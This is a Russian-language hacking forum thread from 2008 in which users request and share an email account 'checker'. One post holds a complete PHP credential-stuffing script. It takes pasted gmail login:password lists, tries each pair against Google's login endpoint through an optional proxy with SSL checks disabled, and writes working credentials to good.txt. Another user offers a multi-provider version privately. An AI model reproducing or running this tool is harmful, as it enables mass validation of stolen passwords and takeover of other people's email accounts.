hotmail, aol, yahoo и gmail чеккер!

Discussion in 'Болталка' started by mff, 30 Sep 2008.

  1. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Нужен hotmail, aol, yahoo и gmail чеккер!
     
  2. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    Делать было нех,решил написать под гмаил.
    Внимание!Cкрипт требует поддержки cURL
    PHP:
    <?php
    /* (c)Shadow_p1raT
       icq:9930875
    */
    ob_implicit_flush (true);
    set_time_limit (0);
    if(!
    $_POST)
    {
      echo <<<HERE
      <form method=POST>
      Акки:<br>
      <textarea name="accounts" rows=10 cols=40></textarea><br>
      Прокси:
      <input type=text name="proxy"><br>
      <input type="submit" value="Чекать";
      </form>
    HERE;
    }
    if(
    $_POST['accounts'])
    {
      echo 
    "Начало чека<br>";
      
    $porxy = $_POST['proxy'];
      
    preg_match_all ("/([a-zA-Z0-9\-_\.]{3,})@gmail\.com[;|:](\w+)/", $_POST["accounts"], $tmp);
      for (
    $i = 0; $i < count ($tmp[1]); $i ++) 
      {
        
    $accs[] = array (trim ($tmp[1][$i]), trim ($tmp[2][$i]));
      }  
      if (
    count ($accs) == 0) die ("<b>Error! Акки не загружены.</b><br>\n");
      else echo 
    "Всего  ".count ($accs)." акка(ов).<br>\n";
      for (
    $i = 0; $i < count ($accs); $i ++)
      {
        
    $login = $accs[$i][0];
        
    $password = $accs[$i][1];
        echo 
    "Юзаю акк: ".$login.":".$password."<br>\n";
        
    $ch = curl_init ();
        
    curl_setopt ($ch, CURLOPT_URL, "https://www.google.com/accounts/ServiceLoginAuth?service=mail");
        if (
    $proxy != "") curl_setopt ($ch, CURLOPT_PROXY, $proxy);
        
    curl_setopt ($ch, CURLOPT_HEADER, 1);
        
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        
    curl_setopt ($ch, CURLOPT_POST, true);
        
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        
    curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        
    $data = array ("ltmpl" => "default", "ltmplcache" => "2", "continue" => "http://mail.google.com/mail/?ui=mobile", "service" => "mail", "ltmpl" => "default", "hl" => "en", "Email" => $login, "Passwd" => $password, "rmShown" => "1", "signIn" => "Sign in");
        
    curl_setopt ($ch, CURLOPT_POSTFIELDS, $data);
        
    $res = curl_exec ($ch);
        if (
    strpos ($res, "Username and password do not match") || strpos ($res, "Enter the letters as they are"))
        {
          echo 
    'Левый акк:'.$login.':'.$password.'<br>';
          
    fwrite(fopen('bad.txt','a'),"$login@gmail.com:$password\r\n");
        }
        else
        {
          echo 
    'Хороший акк:'.$login.':'.$password.'<br>';
          
    fwrite(fopen('good.txt','a'),"$login@gmail.com:$password\r\n");
        }
        
    sleep(2);
      }
    }     
    ?>
    Эсть поддержка прокси,cильно не тестировал.
    p/s задержка между логинов аккунтов составляет 2сек,кто хочет может сменить.
    Code:
    sleep(2);
    
     
  3. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    mff
    есть такой скрипт также на курле ..
    но без aol'a
    вот что поддерживает
    gmail, yahoo, hotmail/msn/live, mail.ru, mail.com, yandex
    возможна загрузка списком ..
    стучи, дам заюзать .. асю знаешь ;)
     
    #3 159932, 30 Sep 2008
    Last edited: 30 Sep 2008
  4. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Вау! Спасибо!